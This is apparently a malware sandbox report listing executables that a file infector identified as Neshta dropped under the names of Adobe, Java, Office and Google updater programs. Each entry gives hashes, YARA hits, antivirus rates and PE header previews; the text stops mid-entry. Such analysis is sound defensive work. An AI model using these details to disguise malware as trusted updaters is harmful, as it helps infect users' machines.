                                                                  SHA-256:6938E7E71C8AB309A57D7C7C2B764F888AD6A9B8807200E573CA6B7183B11FF6
                                                                  SHA-512:A62D6818EFB2FAAE9012377319277B7E8F31FD32326EFE1011D1D874006B3C6020DC3F4DE429B9DD4F4B137E2954A0469DEF997692BA72DF21AFC0F6B505C54B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):409608
                                                                  Entropy (8bit):6.462760862163708
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9hvqF1Ged2RYbguEuFuTkdj+zRGa7JkjrXyPyMMWvpBVOaqahUqjAGT:LbgvuFuQdj+zRTJkX8yMhB3jhBAi
                                                                  MD5:1641D233388AEAE9D77CFC976D5427FD
                                                                  SHA1:C33533FCDC02E6255A1863102038C961E82BFD63
                                                                  SHA-256:D996D5C70C926BD6265607C6536C2B575427F11046E5FCA5AC32768E2AE81EF6
                                                                  SHA-512:A959BC2A3F6A96EC44EE1F58A0E5C6D791158D4935DE8357091A273F2120993438B4883A9C919824F7C6D91462F7B97C7BAA6B3AF4829B63204A5135D4895CDD
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):214512
                                                                  Entropy (8bit):6.4940889932550885
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CxGnUI/9FXK4+PoSZSb5qURwubvvnzdl1CkTlxAenDl3SoxceC76JNKjzDI5:k9xGUcsvZZvUmubv7hTHA8l3yROJyDI5
                                                                  MD5:BB00882A877F34EF5C0FB4FEEFE0C351
                                                                  SHA1:79B64FE2910FF50820B0C83BD52857ADBAEE5AC2
                                                                  SHA-256:45E860894975F6F06D453668E5A4BC99A9C9F20E1D10B29C889280C03FBD6174
                                                                  SHA-512:C7EBBA30720AE9482D889C27A7434328D098A66CC08BFD6A4F96B92C7799FB6E3784BD63BA00E5C03F168D45B164DAB8953042AAF1D9450452C217A9C724AAB9
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):568400
                                                                  Entropy (8bit):6.67410873638024
                                                                  Encrypted:false
                                                                  SSDEEP:12288:pyvTCXdXikLj2jR7trg6Qi3vYsKTU00vq:pyyLj8trn3wsq0vq
                                                                  MD5:4742CA122FBE7E689F0AB4DCE9507986
                                                                  SHA1:5DF6FDFA6E97A57A4F957EEB4520BA378F850B16
                                                                  SHA-256:D91AA424DAFC703F0DD4173FDFAF017F8203D42F78E2219C21714E81F740991B
                                                                  SHA-512:0643D24C897A268C2537F0EA885AB7C1263E1648AEE3350521C04695ABAABC2908C5A1F262C17A6918C30608D40D1B61A5EE9A0BB027BDFF9D8D6FA7AFA7996F
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1252432
                                                                  Entropy (8bit):6.763931251276611
                                                                  Encrypted:false
                                                                  SSDEEP:24576:R0n7Ubxk/uRvJqLGJLQ4a56duA/85RkV4l7/ZeoMOp:S4iwwGJra0uAUfkVy7/ZX
                                                                  MD5:B248EF0A955B4F85B13A4F2039C4F757
                                                                  SHA1:B48E6437A4D0998F47606660AE97BAD147D2E873
                                                                  SHA-256:E46F55F9E2C74FD3E46A67DA5CB29EB2458ABCF8134D2E447AE91F408B5CD3DD
                                                                  SHA-512:EE58707EF36F8E0499CD45C985A91390241064F07CFB1F74B2F5AF1270631C5DB34A9F517F89C45EADF9D8914301C24A80359C22589934C98716E472AC21AB50
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):790096
                                                                  Entropy (8bit):6.746361102520175
                                                                  Encrypted:false
                                                                  SSDEEP:12288:/MvcR0D0B6PyxoxIlZwM+R6R4uFjs1Z7FMN0TzJqccvbXkN58AuimIh:TR0gB6axoCfyR6RLQRF/TzJqe58BimIh
                                                                  MD5:CC11EF3CDA871E739075E19C7E011FFB
                                                                  SHA1:C0B20B62646FB9C3C3AAA61BA6D806AAE86FC93B
                                                                  SHA-256:5F4334AE0F8BB573E6179BABD9C7DF94C0FA33A081390FEE7C04DDBEF1CE5BC4
                                                                  SHA-512:4DF027A3FF53C549AE181C43BDA619460A373E96564B448C74EEFA5ECD820A39B51C763FA5FDCCED1939CF900E51826E5D6087272E91DD95629E2C7615B268E0
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):562776
                                                                  Entropy (8bit):6.434910305077969
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9H0dzerObMhDGJ9UM3sunrXj9BMHmD1tYFLqY/W5R02qO7VKCy7KCzDSEBPj:peqbWqB3sunrT9+aYFLq3ny7JSEBPj
                                                                  MD5:AAFEB56FD7F7B3864CE0172C11BFFC87
                                                                  SHA1:8628FEF6AA9346B4CA3E0534632AC831DA737C15
                                                                  SHA-256:8620ED2307EE8B35B5109D765F8BFBF8FDC2CF5D451E52706F9C5C2A13248609
                                                                  SHA-512:16BD91F2F348D6FB6B35AD47225B9CF80AD0EC5D0BEB0AEEF7D84D9CE164DCE23DBAE529CCCEC7CD6577E115935D93913DCF6446C92499C96BA11E986271E5FE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):127512
                                                                  Entropy (8bit):6.339948095606413
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CqPo10JOSdnvEhEyr1hg9uCRFRzsxeZ:k9qg1MOc81hmRFJs0Z
                                                                  MD5:1307001D8EECE24439EE9F2E353163CA
                                                                  SHA1:0D5EC348BFB5B53CF8A0AEE1FD325BA0BAC476B2
                                                                  SHA-256:D5842746263ED287CEFF18A1C03D784AEB007D7BF63D6548C324B21FE7B6F3D5
                                                                  SHA-512:5A23D430C6117CC2467E2FBA4935829EED4752A6F10F2AEE81C66B239567BC3A3F2822D3A039AE450CF5CC89F27FED2E1EFCC8260D5A650AD3570671D65B247A
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):299136
                                                                  Entropy (8bit):6.791456127636419
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9/0LYbH0QQchx73BeFStIhEWDoZvynCMj+TwW:G0EbH0j4x7R6SvyCMqn
                                                                  MD5:7663DA5345AED4E2CE3AE00F1569BAD3
                                                                  SHA1:10BF6A77F04B10292030C2456066EB519A4F50A0
                                                                  SHA-256:14093EE670E445270AD20D7451E89F37B7E8335C5EC73460A0154232852BA3C6
                                                                  SHA-512:1F8E1BEFA7E2462CA5C0DEB8756DF7B8FFD71D82F09FA0B93EF9CA2D32CACB21688713F5AFA8053B9F83463E9253D428818AA9334202ACB147A608827E4027F1
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):299136
                                                                  Entropy (8bit):6.793867878392893
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9/lXCs7zYA9xiNFiVg7s/uDoeBvhI7W6w9:GlXCs/YAh/elvhI7Wd
                                                                  MD5:BB0E7591812BC27C3D6D3DA565AF925B
                                                                  SHA1:BCF62126B5381B32D7C614EFDFA30CF7F385463D
                                                                  SHA-256:F251861114A4932B3AE9FDC95524EED50D2BD6DBE1E498C48FAE4BD095D4BD7F
                                                                  SHA-512:EA133EB067DC32BE2EE47D1BC50CE77FA87DA2379CA5991EDB837EAED7BCE9BDAAA179A7997220E0D8520926F846D998948B92607DA330128D74B1E000E8E1A5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):437888
                                                                  Entropy (8bit):6.42684511221715
                                                                  Encrypted:false
                                                                  SSDEEP:12288:GGNKdHVnfiMB7yIL+5IyoiYv5jPaeTmJWIvDxT9ULX8PCM:9KiBLZ05jNTmJWExixM
                                                                  MD5:2607BC5BE23EF6AFA96E1B243164745B
                                                                  SHA1:50B602076CB054022A35790FDCF0512CA1D9B68D
                                                                  SHA-256:EE438CBF24A8CC6303A4930BD3D84EA306C350A92384F3705364058BECAB050A
                                                                  SHA-512:59C7C4CF7B43726B774A4BE770B5B02573EDBE035C3DEAC909EC3230A1A05A2E2D6814F08F9D81F9E86433748082D1A04B914C7444585D90D511C348C8367D33
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):343328
                                                                  Entropy (8bit):6.646237652723173
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9zkTpB8HHvBjruphfgesnAhAOQp2EwckjQx+m8zhPLlZp3:OklinJruphfg26p2Ewix+m8Nln3
                                                                  MD5:E08B11A49D68A60193D50788A23FEEC1
                                                                  SHA1:5348D03F4BE33DE456F7E319C1F0F0DD2B281881
                                                                  SHA-256:AD46D94722B50EED787512D44634295F8EAC6AB5851F75CC14B40DB095D18244
                                                                  SHA-512:F397CA818F0F9902DC4111D240C6CE0E29B75477B4571D89BE9F4BEC2144AFE6E1BECC6058E3701B18C0090BF2FA15C8153173C024203655A3D757572E7E6DF5
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):443680
                                                                  Entropy (8bit):6.399332197842204
                                                                  Encrypted:false
                                                                  SSDEEP:12288:r3gaHC2zUM2WJoROZVXk8hbodzbaw8x0Cx+wnx:rx5k8hb0Haw+x5x
                                                                  MD5:BFEF6D485809D5E865C0CE57F5C30761
                                                                  SHA1:67C6C40D604D094508A7A54B2C1B984D6B284B16
                                                                  SHA-256:AF62AE439BF04032F161BE6720D989A4CF6D79F74916849D06F1118B77303B70
                                                                  SHA-512:7F1715A1CAC7CFD1AC321F70DB92E1255DE06E6B98BD8D05F84219C729714DFAFA2C15B12CA55F5A3F7AE93FD53B74927D29F4627F27BCA7E65BC3D925A61912
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):203552
                                                                  Entropy (8bit):6.1365331355493
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C8aKavT/DvbEvK9aobNI2B+Nl4jz+b0atWH1TmFtotpcat8iKdlVST31OK8I:k98aK2h9H/B+rEtiPC
                                                                  MD5:3F7B572F1D8E16AEB92DD112EA5DDCBD
                                                                  SHA1:FE399BE4D0126B73A2F1793B205D75F52923913F
                                                                  SHA-256:617E36E5B66F2D8C2CB7534E883744EF115F2F1EC8B8210FAD308E21338A78E6
                                                                  SHA-512:B5E7D7601A159DEE555A0E98D0D7D0A1BD2EAB68931C8520AC8965B2C05FFFB66D0320EA79713645A4991017A1D753E68F01267311B1C35AD86BE9731D3102E6
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):149792
                                                                  Entropy (8bit):6.511104209826025
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CV4vzT+PjZpsB+2h+EOXkMxJ7Rfp8K172YPrp:k9npsB+09zMH7cCxPd
                                                                  MD5:931BA0AB474211B6F6F46DF9D2685396
                                                                  SHA1:46B754C10E0CE63693C1E0C243A180E980CCE688
                                                                  SHA-256:37AC3DD2183C224D3E32A772FBA419CB1B63E591C5DF6FA69A15989DA9B2C582
                                                                  SHA-512:2E9913BEAECC96FC9BB5BA270B819B7D3FDA82BE9AFF739C294D74A3C0ED7D706A7584D872221B864C3297CAB8C9300FE4DED15A40DA0F687D8E1DB1D60A18FA
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):227104
                                                                  Entropy (8bit):6.237873657819261
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9AWt9h8QlLISZWVRohcq7dvni3F8QrBA/:Hy9hdFIdRoGUxi35rBU
                                                                  MD5:19AFE8347886BC20E0AE3FF3168E4A33
                                                                  SHA1:C75BF52D95EFB4C1A07F0D55D7A25B765B366087
